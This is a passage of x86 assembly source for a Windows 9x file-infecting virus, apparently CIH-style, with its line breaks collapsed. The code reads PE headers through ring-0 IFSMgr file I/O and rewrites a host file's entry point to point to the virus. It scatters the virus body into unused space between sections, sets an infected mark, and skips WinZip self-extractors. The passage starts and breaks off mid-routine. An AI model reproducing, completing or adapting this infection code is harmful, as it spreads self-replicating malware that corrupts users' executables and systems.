Sizepush edx ; Pointer of Filepush edi ; Address of Buffer; ***************************; * Save ESP Register *; ***************************mov dr1, esp; ***************************; * Let's Set the *; * NewAddressOfEntryPoint *; * ( Only First Set Size ) *; ***************************push eax ; Size; ***************************; * Let's Read *; * Image Header in File *; ***************************mov eax, ebpmov cl, SizeOfImageHeaderToReadadd edx, 07h ; Move EDX to NumberOfSectionscall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Let's Set the *; * NewAddressOfEntryPoint *; * ( Set Pointer of File, *; * Address of Buffer ) *; ***************************lea eax, (AddressOfEntryPoint-@8)[edx]push eax ; Pointer of Filelea eax, (NewAddressOfEntryPoint-@8)[esi]push eax ; Address of Buffer; ***************************; * Move EDX to the Start *; * of SectionTable in File *; ***************************movzx eax, word ptr(SizeOfOptionalHeader-@8)[esi]lea edx, [eax+edx+12h]; ***************************; * Let's Get *; * Total Size of Sections *; ***************************mov al, SizeOfScetionTable; I Assume NumberOfSections <= 0ffhmov cl, (NumberOfSections-@8)[esi]mul cl; ***************************; * Let's Set Section Table *; ***************************; Move ESI to the Start of SectionTablelea esi, (StartOfSectionTable-@8)[esi]push eax ; Sizepush edx ; Pointer of Filepush esi ; Address of Buffer; ***************************; * The Code Size of Merge *; * Virus Code Section and *; * Total Size of Virus *; * Code Section Table Must *; * be Small or Equal the *; * Unused Space Size of *; * Following Section Table *; ***************************inc ecxpush ecx ; Save NumberOfSections+1shl ecx, 03hpush ecx ; Save TotalSizeOfVirusCodeSectionTableadd ecx, eaxadd ecx, edxsub ecx, (SizeOfHeaders-@9)[esi]not ecxinc ecx; Save My Virus First Section Code; Size of Following Section Table...; ( Not Include the Size of Virus Code Section Table )push ecxxchg ecx, eax ; ECX = Size of Section Table; Save Original Address of Entry Pointmov eax, (AddressOfEntryPoint-@9)[esi]add eax, (ImageBase-@9)[esi]mov (OriginalAddressOfEntryPoint-@9)[esi], eaxcmp word ptr [esp], small CodeSizeOfMergeVirusCodeSectionjl OnlySetInfectedMark; ***************************; * Read All Section Tables *; ***************************mov eax, ebpcall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Full Modify the Bug : *; * WinZip Self-Extractor *; * Occurs Error... *; ***************************; * So When User Opens *; * WinZip Self-Extractor, *; * Virus Doesn't Infect it.*; ***************************; * First, Virus Gets the *; * PointerToRawData in the *; * Second Section Table, *; * Reads the Section Data, *; * and Tests the String of *; * 'WinZip(R)'...... *; ***************************xchg eax, ebppush 00000004hpop ecxpush edxmov edx,(SizeOfScetionTable+PointerToRawData-@9)[esi]add edx, 12hcall edi ; VXDCall IFSMgr_Ring0_FileIO cmp dword ptr [esi], 'piZniW'je NotSetInfectedMarkpop edx; ***************************; * Let's Set Total Virus *; * Code Section Table *; ***************************; EBX = My Virus First Section Code; Size of Following Section Tablepop ebxpop edi ; EDI = TotalSizeOfVirusCodeSectionTablepop ecx ; ECX = NumberOfSections+1push edi ; Sizeadd edx, ebppush edx ; Pointer of Fileadd ebp, esipush ebp ; Address of Buffer; ***************************; * Set the First Virus *; * Code Section Size in *; * VirusCodeSectionTable *; ***************************lea eax, [ebp+edi-04h]mov [eax], ebx; ***************************; * Let's Set My Virus *; * First Section Code *; ***************************push ebx ; Sizeadd edx, edipush edx ; Pointer of Filelea edi, (MyVirusStart-@9)[esi]push edi ; Address of Buffer; ***************************; * Let's Modify the *; * AddressOfEntryPoint to *; * My Virus Entry Point *; ***************************mov (NewAddressOfEntryPoint-@9)[esi], edx; ***************************; * Setup Initial Data *; ***************************lea edx, [esi-SizeOfScetionTable]mov ebp, offset VirusSizejmp StartToWriteCodeToSections; ***************************; * Write Code to Sections *; ***************************LoopOfWriteCodeToSections:add edx, SizeOfScetionTablemov ebx, (SizeOfRawData-@9)[edx]sub ebx, (VirtualSize-@9)[edx]jbe EndOfWriteCodeToSectionspush ebx ; Sizesub eax, 08hmov [eax], ebxmov ebx, (PointerToRawData-@9)[edx]add ebx, (VirtualSize-@9)[edx]push ebx ; Pointer of Filepush edi ; Address of Buffermov ebx, (VirtualSize-@9)[edx]add ebx, (VirtualAddress-@9)[edx]add ebx, (ImageBase-@9)[esi]mov [eax+4], ebxmov ebx, [eax]add (VirtualSize-@9)[edx], ebx; Section contains initialized data ==> 00000040h; Section can be Read. ==> 40000000hor (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections:sub ebp, ebxjbe SetVirusCodeSectionTableEndMarkadd edi, ebx ; Move Address of BufferEndOfWriteCodeToSections:loop LoopOfWriteCodeToSections; ***************************; * Only Set Infected Mark *; ***************************OnlySetInfectedMark:mov esp, dr1jmp WriteVirusCodeToFile; ***************************; * Not Set Infected Mark *; ***************************NotSetInfectedMark:add esp, 3chjmp CloseFile; ***************************; * Set Virus Code *; * Section Table End Mark *; *************************** SetVirusCodeSectionTableEndMark:; Adjust Size of Virus Section Code to Correct Valueadd [eax], ebpadd [esp+08h], ebp; Set End Markxor ebx, ebxmov [eax-04h], ebx; ***************************; * When VirusGame Calls *; * VxDCall, VMM Modifies *; * the 'int 20h' and the *; * 'Service Identifier' *; * to 'Call [XXXXXXXX]'. *; ***************************; * Before Writing My Virus *; * to File, I Must Restore *; * them First. ^__^ *; ***************************lea eax, (LastVxDCallAddress-2-@9)[esi]mov cl, VxDCallTableSize LoopOfRestoreVxDCallID:。